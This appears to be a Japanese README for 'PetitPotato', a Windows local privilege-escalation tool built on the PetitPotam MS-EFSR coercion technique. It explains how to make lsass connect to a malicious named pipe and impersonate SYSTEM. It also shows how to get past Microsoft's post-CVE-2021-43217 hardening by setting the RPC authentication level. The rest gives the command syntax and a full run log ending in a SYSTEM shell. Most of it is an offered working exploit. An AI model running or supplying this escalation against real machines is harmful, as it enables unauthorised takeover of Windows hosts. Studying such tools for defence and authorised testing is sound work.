
PetitPotam によるローカル権限昇格(偽装特権の悪用)。
PetitPotam によるローカル権限昇格 (偽装特権の悪用)。
PetitPotam は MS-EFSR (Encrypting File System Remote) を使用します。これは、ネットワーク経由でアクセスされるリモートに保存された暗号化データに対してメンテナンスおよび管理操作を実行するために使用されるプロトコルです。MS-EFSR には、EfsRpcOpenFileRaw に類似した一連の API があります。EfsRpcOpenFileRaw API の構文を次に示します。
long EfsRpcOpenFileRaw(
[in] handle_t binding_h,
[out] PEXIMPORT_CONTEXT_HANDLE* hContext,
[in, string] wchar_t* FileName,
[in] long Flags
);
このような API は、FileName パラメーターを介して UNC パスを指定することで、バックアップまたは復元のためにサーバー上の暗号化オブジェクトを開くことができます。\\IP\C$ 形式のパスが指定されると、lsass.exe サービスは NT AUTHORITY SYSTEM アカウントの権限で \\IP\pipe\srvsvc にアクセスします。
EfsRpcOpenFileRaw API を呼び出して、作成した悪意のある名前付きパイプにローカルコンピューターを強制的に接続させることができれば、名前付きパイプのクライアントプロセスを偽装し、最終的に SYSTEKM 特権を取得できます。
しかし、古い PetitPotam は関連するパッチの制限により、新しいバージョンの Windows では動作しません。ただし、EFS を呼び出す前に RpcBindingSetAuthInfoW を介して AuthnLevel を RPC_C_AUTHN_LEVEL_PKT_PRIVACY に設定すれば、最新のシステムでも動作します。
2021 年 12 月、Microsoft は別の EFSRPC の脆弱性 (CVE-2021-43217) に対するパッチをリリースしました。この問題への対処の一環として、Microsoft は EFSRPC 通信にいくつかの堅牢化対策を実装しました。特に、EFSRPC クライアントは EFSRPC を使用する際に RPC_C_AUTHN_LEVEL_PKT_PRIVACY を使用する必要があります。クライアントがそれを行わない場合、クライアントは拒否され、Windows アプリケーション イベントが生成されます。
現在、このプロジェクトはすべてのバージョンの Windows で SYSTEM に完全に昇格できます (Windows 21H2 10.0.20348.1547 でテスト済み)。
PetitPotato.exe [EfsID] [Command]
EfsID: 使用する MS-EFSR API 番号Command: 実行するコマンドC:\Users\Administrator\Desktop>PetitPotato.exe 3 cmd
[+] Malicious named pipe running on \\.\pipe\petit\pipe\srvsvc.
[+] Invoking EfsRpcQueryUsersOnFile with target path: \\localhost/pipe/petit\C$\wh0nqs.txt.
[+] The connection is successful.
[+] ImpersonateNamedPipeClient OK.
[+] OpenThreadToken OK.
[+] DuplicateTokenEx OK.
[+] CreateProcessAsUser OK.
Microsoft Windows [Version 10.0.20348.1547]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system
C:\Windows\system32>
